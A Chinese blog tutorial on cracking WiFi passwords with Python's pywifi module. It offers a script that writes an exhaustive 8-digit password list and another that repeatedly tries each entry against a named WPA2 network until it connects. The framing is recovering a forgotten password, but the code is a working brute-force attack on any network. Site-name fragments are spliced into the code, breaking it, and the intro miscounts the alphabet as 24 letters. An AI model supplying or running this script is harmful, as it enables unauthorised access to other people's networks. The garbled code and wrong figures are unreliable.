Python使用pywifi模块实现轻松查看WIFI密码
前言
原理上WiFi密码都是可以破解的,只不过是时间问题,26*2字母(大小写)+10数字+特殊的字符,就形成很多个密码组合了,加上密码本身的个数。你也可以使用多开,多线程的方式去加速破解的速度。
我们知道,小写字母有24个,大写字母也有24个,数字有10个。
所以,一共有 24 + 24 + 10 = 58 个可选的字符。
现在,我们要生成一个8位的密码,每一位都可以是这58个字符中的任何一个。
所以,第一位有58种选择,第二位也有58种选择,以此类推,直到第8位。
总的组合数是 58 × 58 × 58 × 58 × 58 × 58 × 58 × 58。
这其实就是58的8次方。
计算结果为:128063081718016
wifi的密码长度是8-16位,如果你不幸忘记了某个wifi的密码,但是你大概知道密码的一些构成,也可以参考下面的脚本,来把密码找出来。密码三步走如下。
1.导入模块
pip install pywifi
2.生成可能的密码组合=8,就是8为数的密码组合
import itertools as its import datetime #生成密码+写入密码+记录花费的时间 def generate_passwords(number): # 记录程序运行时间 start = datetime.datetime.now() #words = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ' # 大小写字母 + 数字 组合 words = '0123456789' # 纯数字 # 生成密码的位数 passwords = its.product(words, repeat=number) #正常情况下热点密码位数为8 f = open("password.txt", 'a') for password in passwords: f.write(''.join(password)) f.write(''.join('\编程客栈n')) print(password) f.close() print('可能的密码组合,生成好了') end = datetime.datetime.now() print("总共用时:{}".format(end - start)) generate_passwords(8)
3.效验密码的正确性
# coding:utf-8 import pywifi from pywifi import const import time import datetime # 测试连接,返回链接结果 def wifi_connect(wifi_name,password): # 抓取网卡接口 wifi = pywifi.PyWiFi() # 获取第一个无php线网卡 ifaces = wifi.interfaces()[0] # 断开所有连接 ifaces.disconnect() time.sleep(1) wifistatus = ifaces.status() if wifistatus == const.IFACE_DISCONNECTED: # 创建WiFi连接文件 profile = pywifi.Profile() # 要连接WiFi的名称 profile.ssid = wifi_name # 网卡的开放状态 profile.auth = const.AUTH_ALG_OPEN # wifi加密算法,一般wifi加密算法为wps profile.akm.append(const.AKM_TYPE_WPA2PSK) # 加密单元 profile.cipher = const.CIPHER_TYPE_CCMP # 调用密码 profile.key = password # 删除所有连接过的wifi文件 ifaces.remove_all_network_profiles() # 设定新的连接文件 tep_profile = ifaces.add_network_profile(profile) ifaces.connect(tep_profile) # wifi连接时间 time.sleep(3) if ifaces.status() == const.IFACE_CONNECTED: return True else: returnjavascript False else: print("已有wifi连接") # 读取密码本 def find_correct_password(wiff_name): print("开始破解:") # 打开密码本文件 file = open('password.txt', "r") while True: try: #死循环读取密码和效验密码的正编程客栈确 break_code = file.readline() bool = wifi_connect(wiff_name,break_code) if bool: print("密码已破解:", break_code) print("WiFi已自动连接!!!") break else: # 跳出当前循环,进行下一次循环 print("正在核对,这个密码是否正确...: ", break_code) except: continue if __name__ == '__main__': start = datetime.datetime.now() #要破解的wiff名称 find_correct_password("Tehttp://www.devze.comnda_xxxxxx") end = datetime.datetime.now() print("本次破解WIFI密码,时长为:{}".format(end - start))
到此这篇关于python使用pywifi模块实现轻松查看WIFI密码的文章就介绍到这了,更多相关python pywifi查看wifi密码内容请搜索编程客栈(www.devze.com)以前的文章或继续浏览下面的相关文章希望大家以后多多支持编程客栈(www.devze.com)!
精彩评论